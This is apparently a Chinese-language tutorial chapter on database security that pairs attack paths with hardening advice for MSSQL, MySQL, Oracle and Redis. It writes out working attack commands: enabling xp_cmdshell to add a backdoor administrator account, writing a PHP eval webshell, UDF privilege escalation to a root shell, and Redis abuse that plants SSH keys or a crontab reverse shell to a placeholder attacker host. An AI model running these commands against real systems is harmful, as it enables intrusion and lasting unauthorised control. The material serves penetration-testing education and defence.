数据库安全¶
7.1 MSSQL(Microsoft SQL Server)¶
权限模型
MSSQL 的权限分为服务器级和数据库级。最高权限角色 sysadmin 可以执行任何操作,包括调用操作系统命令。
| 角色 | 权限范围 |
|---|---|
sysadmin |
系统管理员,最高权限 |
securityadmin |
管理登录名和权限 |
dbcreator |
创建、修改、删除数据库 |
db_owner |
数据库所有者,对单个数据库完全控制 |
危险存储过程
存储过程是预编译的 SQL 代码集合。MSSQL 内置了一些可直接与操作系统交互的存储过程,在渗透测试中极具价值:
| 存储过程 | 功能 | 利用方式 |
|---|---|---|
xp_cmdshell |
执行操作系统命令 | EXEC xp_cmdshell 'whoami' |
xp_regread |
读取 Windows 注册表 | 读取系统配置 |
xp_regwrite |
写入 Windows 注册表 | 修改系统配置 |
xp_fileexist |
检查文件是否存在 | 信息收集 |
sp_oacreate |
创建 OLE 对象 | 调用 COM 组件执行命令 |
从 SQL 注入到系统权限的利用链:
1. 通过 SQL 注入确认当前用户角色:SELECT SYSTEM_USER → sa
2. 确认 xp_cmdshell 是否开启:EXEC sp_configure 'xp_cmdshell'
3. 若未开启,尝试开启:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
EXEC xp_cmdshell 'net user backdoor P@ssw0rd /add'
EXEC xp_cmdshell 'net localgroup administrators backdoor /add'
防御:
- 应用连接数据库不使用 sa 账户,创建独立账户并仅授予必要的数据库权限
- 禁用不必要的存储过程:
SYSTEM)
7.2 MySQL¶
安全配置要点
| 配置项 | 风险 | 加固方法 |
|---|---|---|
以 root 运行 |
数据库被入侵后直接获得 root 权限 | 创建 mysql 用户,以该用户启动 |
监听 0.0.0.0 |
外网可直接连接数据库 | bind-address=127.0.0.1 |
| 远程 root 访问 | 弱口令可直接从外网入侵 | 禁止 root 远程登录,删除匿名用户 |
| 空口令 root | 任何人可登录 | 安装时强制设置密码 |
存在 test 数据库 |
任何人可连接并操作 | 删除 test 数据库 |
MySQL 特有的文件操作函数
| 函数 | 功能 | 利用条件 |
|---|---|---|
load_file() |
读取服务器文件 | 当前用户有 FILE 权限 |
INTO OUTFILE |
写入文本文件 | 有 FILE 权限,目录可写 |
INTO DUMPFILE |
写入二进制文件 | 有 FILE 权限,适合写 UDF DLL |
MySQL 写 webshell 示例:
-- 确认有 FILE 权限
SELECT file_priv FROM mysql.user WHERE user='current_user'
-- 写入 PHP webshell 到 Web 目录
SELECT '<?php eval($_POST[1]); ?>' INTO OUTFILE '/var/www/html/shell.php'
MySQL UDF(用户自定义函数)提权:
当 MySQL 以 root 运行时,攻击者可上传自定义动态链接库(.so 文件),创建执行系统命令的函数:
-- 将十六进制编码的 so 文件写入插件目录
SELECT 0x7f454c46020101... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'
-- 创建函数
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so'
-- 执行命令
SELECT sys_exec('chmod +s /bin/bash')
执行后 /bin/bash 获得 SUID 权限,普通用户运行 bash -p 即可获得 root shell。
防御:
- 不以 root 运行 MySQL
- 删除 FILE 权限(若业务不需要文件操作)
- 严格控制数据库目录权限
7.3 Oracle¶
权限模型
| 角色 | 权限 |
|---|---|
SYSDBA |
系统管理员,可启动/关闭数据库,权限高于 DBA |
DBA |
数据库管理员 |
CONNECT |
连接数据库 |
RESOURCE |
创建表、序列、过程等 |
PUBLIC |
默认所有用户属于此角色,需限制其程序包权限 |
Oracle 执行系统命令的途径
DBMS_SCHEDULER:创建外部作业执行操作系统命令DBMS_SYSTEM:执行系统级操作UTL_FILE:读写服务器文件JAVA存储过程:若 Oracle 启用了 Java 支持,可通过 Java 代码执行命令
防御:
- 为不同管理员分配独立账户,禁止共享 SYSDBA
- 限制 PUBLIC 角色的程序包执行权限
- 限制 UTL_FILE 可访问的目录
7.4 Redis¶
Redis 默认配置的安全风险极高:无密码、监听 0.0.0.0、无保护模式。这意味着任何能连接到该端口的人都能完全控制数据,甚至控制服务器。
从 Redis 到服务器权限的常见路径
路径一:写入 SSH 公钥
# 连接 Redis
redis-cli -h target.com
# 修改保存目录为 root 的 .ssh 目录
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
# 写入攻击者的 SSH 公钥
SET x "\n\nssh-rsa AAAA... attacker@kali\n\n"
SAVE
ssh -i id_rsa root@target.com
路径二:写入 Crontab
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SET x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
SAVE
路径三:写入 Web 目录(若 Redis 和 Web 同机)
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "\n\n<?php eval($_POST[1]); ?>\n\n"
SAVE
Redis 安全加固清单
| 配置 | 默认 | 加固建议 |
|---|---|---|
| 密码 | 无 | 设置 requirepass 强密码 |
| 监听地址 | 0.0.0.0 |
改为 127.0.0.1 或内网 IP |
| 保护模式 | 根据版本 | protected-mode yes |
| 运行用户 | root(常见) |
创建独立 redis 用户 |
| 危险命令 | 可用 | rename-command CONFIG CONFIG_xxxx |
| 端口 | 6379 |
修改为非默认端口 |
总结¶
- 7.1 MSSQL(Microsoft SQL Server)
- 7.2 MySQL
- 7.3 Oracle
- 7.4 Redis